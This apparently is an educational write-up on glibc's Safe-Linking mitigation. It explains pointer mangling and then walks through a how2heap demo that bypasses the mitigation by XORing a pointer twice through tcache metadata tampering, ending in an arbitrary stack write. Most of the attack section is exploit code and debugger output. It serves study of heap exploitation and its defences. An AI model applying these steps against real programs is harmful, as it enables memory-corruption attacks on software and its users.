Safe-linking

Safe-Linking is a security feature implemented in the GNU C Library (glibc) to mitigate certain types of heap exploitation, such as heap buffer overflows or use-after-free errors. It's a memory protection measure using ASLR randomness to fortify single-linked lists, i.e. tcache, fastbin chunk. It obfuscates pointers and enforces alignment checks, to prevent pointer hijacking in tcache.

The safe-linking mitigation was introduced in glibc 2.32 a few years ago. About how mitigation works, we can refer to this article.

Steps

In short, the 'next' pointer stored in the tcache-bin chunk will be XOR'd in the following ways:

Mask Calculation: The mask is calculated using the address L where the single-linked list pointer is stored.

  • Mask := (L >> PAGE_SHIFT)
  • 'PAGE_SHIFT' is typically the number of bits to shift to get the page size (usually 12, for a 4KB page).
  • This means the address L is shifted right by the number of bits corresponding to the page size, effectively isolating the high-order bits that include the random bits from ASLR.

Protection Scheme: The protection scheme ensures that pointers in the heap are protected by XOR-ing them with a mask derived from their address as we calculated above.

  • We have a single-linked list pointer P after we free some chunk into the bin.
  • The protection scheme is defined as: PROTECT(P) := (L >> PAGE_SHIFT) XOR (P)
  • 'PROTECT(P)' is the protected version of the pointer P, which is the actual value stored as the 'next' pointer in tcache.
  • This means the pointer P is XOR-ed with the mask (L >> PAGE_SHIFT) to produce the protected pointer.
  • Finally we store the protected pointer at the address L: *L = PROTECT(P).

Codes

The code version of Safe-linking can be illustrated as:

#define PROTECT_PTR(pos, ptr, type)  \
        ((type)((((size_t)pos) >> PAGE_SHIFT) ^ ((size_t)ptr)))

#define REVEAL_PTR(pos, ptr, type)   \
        PROTECT_PTR(pos, ptr, type)
  • 'pos' is the address L where the pointer is stored.
  • 'ptr' is the pointer P that needs to be protected.
  • 'type' is the data type of the pointer.
  • 'PAGE_SHIFT' is the constant used to shift the address to get the mask.
  • Revealing a pointer uses the same 'PROTECT_PTR' macro because XORing the protected pointer again with the same mask will reveal the original pointer (since XORing twice with the same value cancels out the transformation).

The macro shifts 'pos' right by 'PAGE_SHIFT' bits to create the mask and then XORs this mask with the pointer 'ptr'. The result is cast back to the specified 'type'.

Diagram

The diagram visually represents the protection mechanism with an example:

  • Address of the Pointer (L): L := 0x0000BA9876543180
  • Original Pointer (P): P := 0x0000BA9876543210
  • Calculation of the Mask: L >> 12 = 0x00000000BA987654
  • Protected Pointer (P'): P' := P ^ (L >> 12)

Prerequisites

The technique requires control over the tcache metadata, so pairing it with a technique such as House of Water might be favourable.

Overview

When an entry is linked into the tcache after we free a chunk into the corresponding bin, the address will be XOR'd with the address that free is called on, shifted by 12 bits. However, if we were to link this newly protected pointer, it would be XOR'd again with the same key, effectively reverting the protection.

Thus, if we manage to protect a pointer twice, then we can effectively achieve the goal to retrieve the original pointer:

(ptr^key)^key = ptr

Attack Demo

We use a demo code from how2heap with our analysis.

In this case we define a stack buffer 'goal' that will be the target of the overwrite:

char goal[] = "Replace me!";

Step 1: Allocate two chunks each later for the 0x40 and 0x20 tcache bins:

void *a = malloc(0x38);
void *b = malloc(0x38);
void *c = malloc(0x18);
void *d = malloc(0x18);

The allocations will later be populated for the tcache with known chunks. Now we can observe these chunks in GDB:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x555555559290
Size: 0x40 (with flag bits: 0x41)

Allocated chunk | PREV_INUSE
Addr: 0x5555555592d0
Size: 0x40 (with flag bits: 0x41)

Allocated chunk | PREV_INUSE
Addr: 0x555555559310
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x555555559330
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x555555559350
Size: 0x20cb0 (with flag bits: 0x20cb1)

Step 2: Allocate a pointer which will contain a pointer to the stack variable, namely we will allocate a chunk and write a pointer to the stack buffer 'goal' into it. Ensure alignment by masking the lower 4 bits.

Allocate a chunk:

void *value = malloc(0x28);

Store a modified pointer to the 'goal' array, which ends on 0 for proper heap alignemnt otherwise a fault will be raised:

*(long *)value = ((long)(goal) & ~(0xf));

Now the goal-relative value (0x7fffffffdb10) is written to 0x555555559360:

Step 3: Free the allocated chunks to populate the tcache bins with known pointers:

// populate the 0x40 tcache
free(a);
free(b);

// populate the 0x20 tcache
free(c);
free(d);

Now we have them in the corresponding tcache bins, while the chunk 'value' remains the same containing that 'goal' relative pointer. We can observe that the 'next' pointer of the tcache-bin chunks are XOR'd in certain ways:

Step 4: Leverage our tcache metadata control primitive to exploit the vulnerability. We need to let the target 0x40 tcache entry (metadata + 0xa0) point to the chunk 'value' that holds the 'goal' relative pointer, by overwriting the LSB of the pointer for 0x40 in the tcache metadata in this case:

// Get the heapbase
void *metadata = (void *)((long)(value) & ~(0xfff));

// Modify tcache metadata
*(unsigned int*)(metadata + 0xa0) = (long)(metadata) + ((long)(value) & (0xfff));
  • Calculates the metadata address by aligning 'value' to the nearest page boundary.
  • Overwrites the LSB of a t-cache chunk to point to the chunk containing the arbitrary value.

Now the 0x40 tcache entry (metadata + 0xa0) holds the pointer to chunk 'value' (0x555555559360):

In the 0x40 tcache, now sits the pointer of the allocated chunk 'value' which still holds the 'goal' relative pointer 0x00007fffffffdb10 in its 'next' pointer position.

Since we modify the tcache metadata, now the Allocator considers this chunk to be free'd in the tcache bin. So we can allocate once to update the tcache to a value I will further explain below:

void *_ = malloc(0x38);

The fake 'next' pointer of the chunk 'value' 0x00007fffffffdb10 will then be encrypted by the Safe-linking mechanism, namely it will be XOR'd and becomes 0x7ffaaaaa8e49:

*(long*)value)^((long)metadata>>12)	// for illustration

As it is now in the 0x40 tcache entry:

⚠ From now on, we start to exploit the vulnerability.

Point the 0x20 bin to the 0x40 bin in the tcache metadata, containing the new safe-linked value. Exploit the Safe-linking protection by XORing twice with the same key:

*(unsigned int*)(metadata + 0x90) = (long)(metadata) + 0xa0;

Now the 0x20 tcache entry points to 0x5555555590a0, which holds the value of 0x7fffffffdb10:

Now 0x5555555590a0 is considered a tcache pointer which points to a fake chun on the tcache metadata. The whole green area in above image is now considered a free'd chunk on top of the 0x20 tcache bin! And the 0x7ffaaaaa8e49 we abused the chunk 'value' in previous steps, is considered now the XOR'd 'next' pointer of the fake chunk.

Step 5: Allocate twice to gain a pointer to our arbitrary value (the 'goal' relative pointer):

_ = malloc(0x18);
char *vuln = malloc(0x18);

Now we manage to allocate 2 chunks. We will first get the chunk on top of the 0x20 tcache bin, then the next chunk that its 'next' pointer (with the XOR'd value 0x7ffaaaaa8e49) points to:

> First  0x20 allocation: 0x5555555590a0
> Second 0x20 allocation: 0x7fffffffdb10

The allocated chunk 'vuln' is just near the target 'goal' on the stack:

Step 6: Overwrite the goal string pointer and we can verify its changed value.

strcpy(vuln, "XXXXXXXXXXX HIJACKED!");

As we know &vuln - &goal = 0x4 from GDB, we can observe the value from where we overwrote:

Summary

This is a sophisticated method of bypassing the Safe-linking mitigation by leveraging the properties of XOR and tcache metadata manipulation. It highlights the importance of understanding the underlying mechanisms of security features and how they can be potentially exploited.

  • Safe-Linking Bypass:
    • The core idea is that XOR-ing a pointer twice with the same value effectively cancels out the protection: (ptr ^ key) ^ key = ptr.
    • By manipulating the tcache metadata, the exploit makes the tcache entry point to the protected pointer, and then uses another allocation to retrieve the original pointer.
  • Arbitrary Write:
    • The technique involves writing an arbitrary value (a pointer to the 'goal' buffer) into a chunk and then using t-cache manipulation to gain a near pointer to this chunk.
  • Control Over Metadata:
    • Requires control over the tcache metadata, which is achieved by precise allocations and frees, combined with bitwise operations to manipulate the metadata pointers.


Are you watching me?